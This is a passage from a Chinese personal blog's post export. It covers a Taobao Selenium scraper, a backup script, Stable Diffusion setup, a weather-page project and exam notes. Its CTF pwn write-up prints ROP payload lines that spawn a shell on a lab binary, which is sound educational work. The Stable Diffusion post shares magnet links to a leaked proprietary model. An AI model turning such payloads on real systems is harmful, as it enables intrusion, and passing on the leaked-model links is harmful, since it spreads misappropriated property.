class="line">driver.minimize_window() #窗口最小化</span><br></pre></td></tr></table></figure>
<h2 id="0x03示例"><a href="#0x03示例" class="headerlink" title="0x03示例"></a>0x03示例</h2><p>这次参加了学校里的一场比赛,其中有一道题就是爬取各个购物平台的商品数据</p>
<p>我第一个选择了某宝,这里放出示例代码</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">from selenium import webdriver</span><br><span class="line">from selenium.common.exceptions import TimeoutException</span><br><span class="line">from selenium.webdriver.common.by import By</span><br><span class="line">from selenium.webdriver.support import expected_conditions as EC</span><br><span class="line">from selenium.webdriver.support.wait import WebDriverWait</span><br><span class="line">from selenium.webdriver.common.keys import Keys</span><br><span class="line">from urllib.parse import quote</span><br><span class="line">from pyquery import PyQuery as pq</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">browser = webdriver.Chrome()</span><br><span class="line"># 需要手动扫码登陆淘宝!</span><br><span class="line">wait = WebDriverWait(browser, 20)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def taobao_index_page(page, text):</span><br><span class="line"> print('正在爬取第', page, '页')</span><br><span class="line"> try:</span><br><span class="line"> # 网址url</span><br><span class="line"> url = 'https://s.taobao.com/search?q=' + quote(text)</span><br><span class="line"> browser.get(url)</span><br><span class="line"> time.sleep(1.5)</span><br><span class="line"> if page > 1</span><br><span class="line"> input = wait.until(</span><br><span class="line"> EC.presence_of_element_located((By.CSS_SELECTOR, '#mainsrp-pager div.form > input'))</span><br><span class="line"> )</span><br><span class="line"> submit = wait.until(</span><br><span class="line"> EC.element_to_be_clickable((By.CSS_SELECTOR, '#mainsrp-pager div.form > span.btn.J_Submit'))</span><br><span class="line"> )</span><br><span class="line"> input.clear()</span><br><span class="line"> input.send_keys(page)</span><br><span class="line"> # 模拟点击确认</span><br><span class="line"> submit.click()</span><br><span class="line"> # 找到每页数据的标签</span><br><span class="line"> wait.until(</span><br><span class="line"> EC.text_to_be_present_in_element((By.CSS_SELECTOR, '#mainsrp-pager li.item.active > span'), str(page))</span><br><span class="line"> )</span><br><span class="line"> wait.until(</span><br><span class="line"> EC.presence_of_element_located((By.CSS_SELECTOR, '.m-itemlist .items .item'))</span><br><span class="line"> )</span><br><span class="line"> # 调用函数,获取数据</span><br><span class="line"> taobao_get_products()</span><br><span class="line"> except TimeoutException:</span><br><span class="line"> taobao_index_page(page, text)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def taobao_get_products():</span><br><span class="line"> # page_source获取网页源代码</span><br><span class="line"> html = browser.page_source</span><br><span class="line"> doc = pq(html)</span><br><span class="line"> items = doc('#mainsrp-itemlist .items .item').items()</span><br><span class="line"> for item in items:</span><br><span class="line"> # 数据存入字典</span><br><span class="line"> product = {</span><br><span class="line"> 'title': item.find('.title').text(),</span><br><span class="line"> 'price': item.find('.price').text(),</span><br><span class="line"> 'image': item.find('.pic .img').attr('data-src'),</span><br><span class="line"> }</span><br><span class="line"> print(product)</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"> for i in range(1, 10):#爬取1-9页</span><br><span class="line"> taobao_index_page(i, "iphone13")</span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<p>另外,对于某些页面的懒加载问题,可以自己想想看如何解决(</p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>Selenium</tag>
<tag>爬虫</tag>
</tags>
</entry>
<entry>
<title>shell备份脚本</title>
<url>/2023/01/13/shell%E5%A4%87%E4%BB%BD%E8%84%9A%E6%9C%AC/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301132338163.png"></p>
<p>写了个shell的备份脚本,自带删除过早存档的功能。</p>
<p>本意是为饥荒服务器写的,虽然饥荒自带回档,但是人物数据、token以及mod配置没被备份。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">! /bin/bash</span></span><br><span class="line">today=`date +%Y%m%d%H%M`</span><br><span class="line">tar -czvf /mnt/WDC/dst_backup/$today.tar.gz /home/picpo/.klei/DoNotStarveTogether/Cluster_1</span><br><span class="line">find /mnt/WDC/dst_backup/ -type f -mtime +1 -exec rm -f {} \; #自动删除+1是两天之前的存档</span><br><span class="line">echo "backup!$today"</span><br></pre></td></tr></table></figure>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>linux</tag>
<tag>shell</tag>
</tags>
</entry>
<entry>
<title>Ubuntu18以上系统64位的glibc的payload调用system函数时,所需注意的堆栈平衡问题</title>
<url>/2021/07/19/ubuntu18%E4%BB%A5%E4%B8%8A%E7%B3%BB%E7%BB%9F64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E6%97%B6%EF%BC%8C%E6%89%80%E9%9C%80%E6%B3%A8%E6%84%8F%E7%9A%84%E5%A0%86/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252147635.jpg"></p>
<h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>在Ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。因为在Ubuntu18下system调用时要求地址和16字节对齐,如果没有栈对齐的话,程序就直接crash了。之前咱做过好几道靶机环境是Ubuntu18的pwn题,本地打得通,但是远程打不通,很令人费解;看大佬们的博客和WP,却只知道Ubuntu18必须得考虑栈对齐。每次都是到最后一步看到远程靶机打不通显示EOF,今天参考了几篇博客想解决这个问题。</p>
<p>这是之前出现栈对齐问题的题,当时都是一笔带过,搞得不明不白的,好在今天应该全都搞懂了(大概)</p>
<p><a href="http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn/_2019/_c/_1/">http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn\_2019\_c\_1/</a></p>
<h2 id="0x01原因"><a href="#0x01原因" class="headerlink" title="0x01原因"></a>0x01原因</h2><p>栈的字节对齐,实际是指栈顶指针必须是16字节的整数倍。栈对齐使得在尽可能少的内存访问周期内读取数据,不对齐堆栈指针可能导致严重的性能下降。</p>
<p>但是实际上,即使数据没有对齐,我们的程序也是可以执行的,只是效率有点低而已,但是某些型号的Intel和AMD处理器,在执行某些实现多媒体操作的SSE指令时,如果数据没有对齐,将无法正确执行。这些指令对16字节内存进行操作,在SSE单元和内存之间传送数据的指令要求内存地址必须是16的倍数。</p>
<p>因此,任何针对x86_64处理器的编译器和运行时系统都必须保证, 它们分配内存将来可能会被SSE指令使用,所以必须是16字节对齐的,这也就形成了一种标准:</p>
<ul>
<li>任何内存分配函数(<code>alloca</code>, <code>malloc</code>, <code>calloc</code>或<code>realloc</code>)生成的块的起始地址都必须是16的倍数。</li>
<li>大多数函数的栈帧的边界都必须是16字节的倍数。</li>
</ul>
<p>如上,在运行时栈中,不仅传递的参数和局部变量要满足字节对齐,我们的栈指针(<code>rsp</code>)也必须是16的倍数。</p>
<h2 id="0x02解决方案"><a href="#0x02解决方案" class="headerlink" title="0x02解决方案"></a>0x02解决方案</h2><p>回到我们的题目(<a href="http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn_2019_c_1/">ciscn_2019_c_1</a>),在最后getshell时我们需要用到system函数,但是这个函数需要满足栈对齐的条件,此时可以尝试通过p64(ret_addr)来栈对齐;或者干脆放弃使用system而利用execve,但坏处是在64位环境下需要3个寄存器来构造参数。</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252148218.png"></p>
<p>如果要构建ROPgadget,不一定能同时找到三个寄存器的语句,这个方法就不一定能行得通。</p>
<p>要想栈对齐,最好使用ret。一开始我脑子抽了,加了些垃圾数据企图填满使其栈对齐,然后突然想起这完全错了,这哪跟哪啊QwQ。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">payload2=b'a'*(0x50+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)</span><br><span class="line">p.sendline(payload2)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252148468.png"></p>
<p>可以看到,没有进行栈对齐的payload(0x71加上结尾‘\x00’也就是0x72没法被0x10也就是16整除)打远程的Ubuntu18的靶机只能EOF。好在这个数字比较好栈对齐,那么我们来找一下ret。</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252148528.png"></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">picpo@kali:/media/sf_SHARE/PWN/ciscn_2019_en_2$ ROPgadget --binary ./ciscn_2019_en_2 --only "popret"</span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c80 : pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c82 : pop r15 ; ret</span><br><span class="line">0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004007f0 : pop rbp ; ret</span><br><span class="line">0x0000000000400aec : pop rbx ; pop rbp ; ret</span><br><span class="line">0x0000000000400c83 : pop rdi ; ret</span><br><span class="line">0x0000000000400c81 : pop rsi ; pop r15 ; ret</span><br><span class="line">0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004006b9 : ret //选这个!选这个!</span><br><span class="line">0x00000000004008ca : ret 0x2017</span><br><span class="line">0x0000000000400962 : ret 0x458b</span><br><span class="line">0x00000000004009c5 : ret 0xbf02</span><br></pre></td></tr></table></figure>
<p>这玩意长度是0x8,和前面0x71长度的payload只要加上2n-1个就能完美对齐,所以:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ret_addr=0x4006b9</span><br><span class="line">payload2=b'a'*(0x50+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)</span><br><span class="line"></span><br><span class="line">payload2=b'a'*(0x50+8)+p64(ret_addr)*3+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)</span><br><span class="line"></span><br><span class="line">payload2=b'a'*(0x50+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)*3+p64(system_addr)</span><br><span class="line"></span><br><span class="line">payload2=b'a'*(0x50+8)+p64(ret_addr)*2+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)*3+p64(system_addr)</span><br></pre></td></tr></table></figure>
<p>这些都是可以的</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252149996.png"></p>
<p>然后我试了试114514+1,1919(这么臭的数字有试的必要吗(恼)),反正gets本来就没有限制长度,所以其实理论上是可以的,但是实际情况下,会超时(大悲):</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252149911.png"></p>
<hr>
<h2 id="0x03参考资料"><a href="#0x03参考资料" class="headerlink" title="0x03参考资料"></a>0x03参考资料</h2><ol>
<li>x86_64 Linux 运行时栈的字节对齐:<a href="https://www.cnblogs.com/tcctw/p/11333743.html">https://www.cnblogs.com/tcctw/p/11333743.html</a></li>
<li>CTF总结-PWN篇:<a href="https://blog.csdn.net/qq_42747131/article/details/106121093">https://blog.csdn.net/qq_42747131/article/details/106121093</a></li>
<li>在一些64位的glibc的payload调用system函数失败问题:<a href="http://blog.eonew.cn/archives/958">http://blog.eonew.cn/archives/958</a></li>
<li>BUUCTF Pwn ciscn_2019_c_1:<a href="https://renjikai.com/tag/buuctf/">https://renjikai.com/tag/buuctf/</a></li>
</ol>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>PWN</tag>
</tags>
</entry>
<entry>
<title>stable-diffusion-webui的食用方法</title>
<url>/2022/10/08/stable-diffusion-webui%E7%9A%84%E9%A3%9F%E7%94%A8%E6%96%B9%E6%B3%95/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252157828.png"></p>
<h2 id="0x01-Anaconda安装"><a href="#0x01-Anaconda安装" class="headerlink" title="0x01 Anaconda安装"></a>0x01 Anaconda安装</h2><p>这个没啥好说的,主要是要记住你的安装路径</p>
<h2 id="0x02-安装CUDA"><a href="#0x02-安装CUDA" class="headerlink" title="0x02 安装CUDA"></a>0x02 安装CUDA</h2><p>到官网:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">https://developer.nvidia.com/cuda-downloads?target_os=Windows&target_arch=x86_64&target_version=10&target_type=exe_local</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252158948.png"></p>
<h2 id="0x03-安装stable-diffusion-webui"><a href="#0x03-安装stable-diffusion-webui" class="headerlink" title="0x03 安装stable-diffusion-webui"></a>0x03 安装stable-diffusion-webui</h2><h3 id="1-sd-webui"><a href="#1-sd-webui" class="headerlink" title="1.sd-webui"></a>1.sd-webui</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git clone https://github.com/sd-webui/stable-diffusion-webui.git</span><br></pre></td></tr></table></figure>
<p>安装后按他所说的在根目录建立<strong>custom-conda-path.txt</strong>,并写上自己的Anaconda根目录</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252158626.png"></p>
<p>下载模型文件,放在<strong>\stable-diffusion-webui\models\ldm\stable-diffusion-v1</strong>下</p>
<p>其实也可以mklink,不过我没试过,因为我的novelaileak文件在下载盘里,下载盘是个远古机械,速度不是很快</p>
<h3 id="2-另一个更好的web-ui"><a href="#2-另一个更好的web-ui" class="headerlink" title="2.另一个更好的web-ui"></a>2.另一个更好的web-ui</h3><p>这个更好,可以过滤一些negative prompt</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git</span><br></pre></td></tr></table></figure>
<p>安装过程过于缓慢,建议先pip安装他的requirements.txt</p>
<h3 id="3-泄露模型"><a href="#3-泄露模型" class="headerlink" title="3.泄露模型"></a>3.泄露模型</h3><p>我这里用的是novelaileak的,你也可以用其他的</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">magnet:?xt=urn:btih:5bde442da86265b670a3e5ea3163afad2c6f8ecc&dn=novelaileak&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&tr=udp%3A%2F%2F9.rarbg.com%3A2810%2Fannounce&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A6969%2Fannounce&tr=http%3A%2F%2Ftracker.openbittorrent.com%3A80%2Fannounce&tr=udp%3A%2F%2Fopentracker.i2p.rocks%3A6969%2Fannounce</span><br></pre></td></tr></table></figure>
<p>第二版(125G)</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">magnet:?xt=urn:btih:a20087e7807f28476dd7b0b2e0174981709d89cd&dn=novelaileakpt2&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a6969%2fannounce&tr=http%3a%2f%2ftracker.openbittorrent.com%3a80%2fannounce&tr=https%3a%2f%2ftracker.nanoha.org%3a443%2fannounce</span><br></pre></td></tr></table></figure>
<p>今天流出的新版本,效果更好但是空间占用更大</p>
<h2 id="0x04-食用"><a href="#0x04-食用" class="headerlink" title="0x04 食用"></a>0x04 食用</h2><p>到根目录,运行一下webui的cmd,会自动安装环境</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252159861.png"></p>
<p>我的GTX1060 6G生成速度不是很快,我这有块Tesla p4,不知道加上去会不会加快点速度</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252159861.png"></p>
<p>更多关键词请见:</p>
<p><a href="https://wiki.installgentoo.com/wiki/Stable_Diffusion#Keywords">https://wiki.installgentoo.com/wiki/Stable_Diffusion#Keywords</a></p>
<p><a href="https://gelbooru.com/index.php?page=tags&s=list">https://gelbooru.com/index.php?page=tags&s=list</a></p>
]]></content>
<categories>
<category>野生技术协会</category>
</categories>
<tags>
<tag>AI</tag>
</tags>
</entry>
<entry>
<title>Web网页小项目——天气预报Web页面的踩坑笔记</title>
<url>/2021/01/23/web%E7%BD%91%E9%A1%B5%E5%B0%8F%E9%A1%B9%E7%9B%AE%E5%A4%A9%E6%B0%94%E9%A2%84%E6%8A%A5web%E9%A1%B5%E9%9D%A2/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252141067.jpg"></p>
<p>寒假是个学习和提升技能的好时机,今年寒假我就参加了SAST2020前端组的WOC(Winter Of Code)项目,来借此好时机来锻炼自己的开发能力。</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252142254.png"></p>
<p>目前第一阶段我是写了一个天气预报Web页面,本以为,不就用ajax调用个api吗,在处理一下数据,调一个好看的式样,不就大功告成了吗?确实,理论上是这么简单,但是实际花了我三天时间,才写出了这么个小小的demo。很多东西根本不是我想象的那么简单的,我是踩一个坑学一些新东西,才做好一个模块的(悲)。</p>
<h2 id="一、json跨域问题"><a href="#一、json跨域问题" class="headerlink" title="一、json跨域问题"></a>一、json跨域问题</h2><p>第一天就是和这个api斗智斗勇的一天,本来我在网上找到了百度定位api,进展颇为顺利,就是百度api配上谷歌内核的浏览器(比如chrome,qq浏览器),它的具体定位就很不准,而且比较慢,但是定位到城市还是没有问题的。后来要找个天气预报的api,这里选择了心知天气api,选了十五天试用套餐,一共可接入10000次。嘛,我就写个小demo,问题不大,又不是长期用。</p>
<p>一开始我一直使用的是json调用方式,结果浏览器可以直接访问,但是用到我写的项目里,用jQuery的getJSON(“xxx”)发现获取不到数据。我一直以为自己的js代码哪里出了问题,知道晚上我才发现:json跨域的话,现在的浏览器会自动拦截。</p>
<h3 id="(一)何为跨域?"><a href="#(一)何为跨域?" class="headerlink" title="(一)何为跨域?"></a>(一)何为跨域?</h3><p><strong>只要协议,端口,域名有一个不同,即为跨域!</strong></p>
<p>首先,先了解浏览器有一个很重要安全性限制,即为同源策略:不同域的客户端脚本在无明确授权的情况下不能读些对方资源。</p>
<p>然而,当进行一些api接口调用时,那肯定不可避免地需要进行跨域操作,这时候“同源策略”就显得过于苛刻。</p>
<h3 id="(二)怎样解决"><a href="#(二)怎样解决" class="headerlink" title="(二)怎样解决"></a>(二)怎样解决</h3><p>我又花了一晚上的时间去百度这个方法那个方法,发现纯前端的话,json是根本行不通的,但我仍不死心,去请教了一下前段组的大仙贝:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252143365.jpg"></p>
<p>好,这波我死心了,老老实实用jsonp吧(悲)</p>
<p>好在心知天气本身就有jsonp的调用方式,也有官方的demo。就是比较麻烦,这其中涉及密钥+公钥生成签名验证的机制,我硬着头皮的学习了一下,试着自己搞了一下,最后竟然成功了。好耶耶耶耶耶耶耶耶耶耶!</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252143816.jpg"></p>
<h2 id="二、Echarts绘制与适配问题"><a href="#二、Echarts绘制与适配问题" class="headerlink" title="二、Echarts绘制与适配问题"></a>二、Echarts绘制与适配问题</h2><p>Echarts是一个使用 JavaScript 实现的开源可视化库,涵盖各行业图表,非常的不错。但是这里还是踩到了两个坑:</p>
<h3 id="(一)Echarts无法绘制图标"><a href="#(一)Echarts无法绘制图标" class="headerlink" title="(一)Echarts无法绘制图标"></a>(一)Echarts无法绘制图标</h3><p>当我打开网页调试时,控制台传入了如下错误:【Echarts】Uncaught TypeError: Cannot read property ‘getAttribute’ of null</p>
<p>一开始我还以为是Echarts cdn解析出了错,后来才得知,Echarts是没有找到所要绘制的div,不是说我没有在HTML里写到它,而是js在body生成前就调用了,所以才会出现获取不到属性。解决方法就是把js扔到页脚:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252144259.png"></p>
<h3 id="(二)Echarts适配问题"><a href="#(二)Echarts适配问题" class="headerlink" title="(二)Echarts适配问题"></a>(二)Echarts适配问题</h3><p>这个就有点麻烦了,当你设置div的width为100%时,愚蠢的Echarts会自动识别为100px,其效果极其鬼畜:</p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252144298.png"></p>
<p>那咋办?网上给的方案都是echarts初始化之前再用js获取当前屏幕的大小,然后再给他设置宽度就可以了。而我只接给他设了个90vw的具体长度,问题也能解决(</p>
<p>总的来说踩了不少的坑,当然也学了不少东西,比如ajax+jquery,bootstrap4的响应式界面搭建,当然啊,调css的过程也是坠痛苦的。</p>
<p>项目地址:<a href="https://github.com/picpo/weather-demo">https://github.com/picpo/weather-demo</a></p>
<p>大家可以将里面的key换成自己的玩玩,因为我的次数也估计只剩下6000多次了。</p>
<ul>
<li><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252145373.png"></p>
</li>
<li><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252145325.png"></p>
</li>
<li><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252146972.png"></p>
</li>
</ul>
]]></content>
<categories>
<category>前端</category>
</categories>
<tags>
<tag>ajax</tag>
<tag>bootstrap</tag>
<tag>jQuery</tag>
</tags>
</entry>
<entry>
<title>《毛泽东思想和中国特色社会主义理论体系概论》求生指南</title>
<url>/2022/11/06/%E3%80%8A%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E3%80%8B/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p>
<h2 id="考题分布"><a href="#考题分布" class="headerlink" title="考题分布"></a>考题分布</h2><p>单选题10*1分=10分</p>
<p>名词解释4*5分=20分</p>
<p>简答题:4*10=40分</p>
<p>材料分析题:2*15=30分</p>
<h2 id="名词解释"><a href="#名词解释" class="headerlink" title="名词解释"></a><strong>名词解释</strong></h2><ol>
<li>实事求是:实事求是,就是一切从实际出发,理论联系实际,坚持实践中检验真理和发展真理。毛泽东指出:实事就是客观存在的一切事务,是就是客观事物的内部联系,即规律,求就是要求去研究</li>
<li>群众路线:一切为了群众,一切依靠群众,从群众中来,到群众中去,把党的正确主张变成群众自觉的行动</li>
<li>独立自主:坚持独立思考走自己的路,坚定不移地<strong>维护民族独立</strong>、<strong>捍卫国家主权</strong>,把立足点放在依靠自己的力量基础上,同时积极争取外援,开展国际文化经济交流,学习一切国外<strong>对我们有益的先进</strong>事物</li>
<li>新民主主义革命的总路线:无产阶级领导的,人民大众的,反对<strong>帝国主义,封建主义,官僚资本主义的革命</strong>(三座大山)</li>
<li>党在过渡时期的总路线:从新中国成立—->社会主义改造基本完成,这是过渡时期。是在相当长的一段时间内逐步实现国家社会主义工业化,并逐渐对农业手工业<strong>资本主义</strong>工商业社会主义改造</li>
<li>毛泽东思想:是马克思主义中国化<strong>第一个重大理论成果</strong>,是马克思列宁主义<strong>在中国的运用和发展</strong>,是被实践证明的了中国革命与建设的正确理论原则和经验总结,是中国共产党集体智慧结晶,是党必须长期坚持的指导思想</li>
<li>三步走战略:1987年4月,邓小平提出,10月确定<br>1981—>1990,国民生产总值比1980翻一番,解决温饱问题<br>1991—>20世纪末,再翻一倍,达到小康水平<br>到21世纪中叶,<strong>人均</strong>国民生产总值达到中等发达国家水平,人民生活富裕,基本实现现代化,继续前进</li>
<li>社会主义初级阶段理论:初级阶段指我国生产力落后、商品经济不发达的条件下建设社会主义必然要经历的阶段,就是从社会主义—>社会主义现代化基本完成的阶段</li>
<li>一国两制:在祖国统一的前提下,国家主体实行社会主义制度,港澳台保持原有社会制度和生活方式长期不变</li>
<li>依法治国:广大人民群众在党的领导下,依照宪法和法律法规,通过各种途径和形式管理<strong>国家事务</strong>,管理<strong>经济文化事业</strong>,管理<strong>社会事务</strong>,保证国家各项工作都依法进行,逐步实现社会主义民主的<strong>制度化和法律化</strong>,使这种<strong>制度和法律</strong>不因<strong>领导人的改变</strong>而改变,不因<strong>领导人看法和注意力改变</strong>而改</li>
</ol>
<h2 id="简答题"><a href="#简答题" class="headerlink" title="简答题"></a>简答题</h2><h3 id="毛泽东思想形成和发展的社会历史条件"><a href="#毛泽东思想形成和发展的社会历史条件" class="headerlink" title="毛泽东思想形成和发展的社会历史条件"></a>毛泽东思想形成和发展的社会历史条件</h3><ol>
<li>19世纪末20世纪初,世界进入帝国主义和无产阶级革命时代</li>
<li>十月革命的胜利开启世界无产阶级革命的新时代。他将中国反帝反封建的民主革命,从<strong>旧的世界资产阶级民主革命</strong>的一部分,转变为<strong>新的世界无产阶级社会主义革命</strong>的一部分</li>
<li>十月革命送来了马克思列宁主义,中国革命有了科学的指导思想</li>
<li>中国革命胜利后,经历了二次大战后两大阵营的对立斗争,西方国家不仅封锁禁运而且力求和平演变,毛泽东思想便是从这样的社会历史背景下形成发展的</li>
<li>中国共产党领导人民进行<strong>革命和建设的成功实践</strong>是毛泽东思想形成发展的<strong>实践基础</strong></li>
</ol>
<h3 id="毛泽东思想活的灵魂和历史地位"><a href="#毛泽东思想活的灵魂和历史地位" class="headerlink" title="毛泽东思想活的灵魂和历史地位"></a>毛泽东思想活的灵魂和历史地位</h3><p>活的灵魂:实事求是,群众路线,独立自主</p>
<p>历史地位:</p>
<ol>
<li>马克思主义中国化的第一个重大理论成果</li>
<li>是中国革命和建设的科学指南</li>
<li>是中国共产党和人民的宝贵精神财富</li>
</ol>
<h3 id="土地革命、武装斗争、农村革命根据地建设-三者之间的联系"><a href="#土地革命、武装斗争、农村革命根据地建设-三者之间的联系" class="headerlink" title="土地革命、武装斗争、农村革命根据地建设 三者之间的联系"></a>土地革命、武装斗争、农村革命根据地建设 三者之间的联系</h3><ol>
<li>土地革命是民主革命的主要内容</li>
<li>武装斗争是中国革命的主要形式,是农村革命根据地建设和土地革命的强有力保证</li>
<li>农村革命根据地是中国革命的战略阵地,是进行武装斗争和开展土地革命的依托</li>
<li>党的领导下,实现了<strong>三者的密切结合和有机统一</strong></li>
</ol>
<h3 id="新民主主义革命基本纲领"><a href="#新民主主义革命基本纲领" class="headerlink" title="新民主主义革命基本纲领"></a>新民主主义革命基本纲领</h3><ol>
<li>政治:推翻帝国主义和封建主义统治,建立一个以无产阶级领导、工农联盟为基础的、各个革命阶级联合专政的新民主主义的共和国</li>
<li>经济:没收封建地主的土地归农民,没收官僚资产阶级的垄断资本归新民主主义的国家所有,保护民族工商业</li>
<li>文化:无产阶级领导的人民大众的<strong>反帝反封建文化</strong>,民族的科学的大众的文化</li>
</ol>
<h3 id="新民主主义革命的三大法宝和相互关系"><a href="#新民主主义革命的三大法宝和相互关系" class="headerlink" title="新民主主义革命的三大法宝和相互关系"></a>新民主主义革命的三大法宝和相互关系</h3><p>三大法宝:统一战线,武装斗争,党的建设</p>
<p>相互关系:统一战线和武装斗争中国革命的两个基本特点,是战胜敌人的基本武器。统一战线是实行武装斗争的统一战线,武装斗争是统一战线的中心支柱,党的组织则是掌握这两个武器的英勇战士</p>
<h3 id="社会主义改造的经验"><a href="#社会主义改造的经验" class="headerlink" title="社会主义改造的经验"></a>社会主义改造的经验</h3><ol>
<li>社会主义工业建设和社会主义改造同时进行</li>
<li>积极引导,逐步过渡</li>
<li>和平方法改造</li>
</ol>
<h3 id="社会主义-基本-制度确立的重大意义"><a href="#社会主义-基本-制度确立的重大意义" class="headerlink" title="社会主义**基本**制度确立的重大意义"></a>社会主义**<em>基本</em>**制度确立的重大意义</h3><p>是中国历史上最深刻最伟大的社会变革,为当今中国奠定了制度基础,也为中特社的建立创新提供了重要前提</p>
<ol>
<li>极大地提高了<strong>工人阶级和广大劳动人民</strong>的积极性和创造性,极大促进了生产力发展</li>
<li>使广大人民真正成为国家主人</li>
<li>使占全球人口四分之一的东方大国进入了社会主义社会,进一步改变了世界政治经济格局,增强了社会主义力量,对世界和平的维护产生了重要影响</li>
<li>是马克思列宁主义<strong>关于社会主义革命理论</strong>在中国的正确应用和创造性发展的结果,不仅再次证明了马克思列宁主义的真理性,而且以其独特的理论原则和经验总结<strong>丰富和发展了科学社会主义</strong></li>
</ol>
<h3 id="党对社会主义建设道路初步探索的重大意义"><a href="#党对社会主义建设道路初步探索的重大意义" class="headerlink" title="党对社会主义建设道路初步探索的重大意义"></a>党对社会主义建设道路初步探索的重大意义</h3><ol>
<li>巩固和发展了我国的社会主义</li>
<li>为开创中特社提供了宝贵经验、理论准备、物质基础</li>
<li>丰富了科学社会主义的理论和实践</li>
</ol>
<h3 id="初步探索的经验教训"><a href="#初步探索的经验教训" class="headerlink" title="初步探索的经验教训"></a>初步探索的经验教训</h3><ol>
<li>必须把马克思主义和中国实际相结合,探索符合中国的道路</li>
<li>必须正确认识社会主义的主要和次要矛盾,集中力量发展生产力</li>
<li>必须从实际出发,建设速度和规模要与国力相适应,不能急于求成</li>
<li>必须发展社会主义民主,健全社会主义法制</li>
<li>坚持党的民主集中制和集体领导制度,加强执政党建设</li>
<li>必须坚持对外开放,借鉴和吸收人类文明成果建设社会主义,不能关起门来搞建设</li>
</ol>
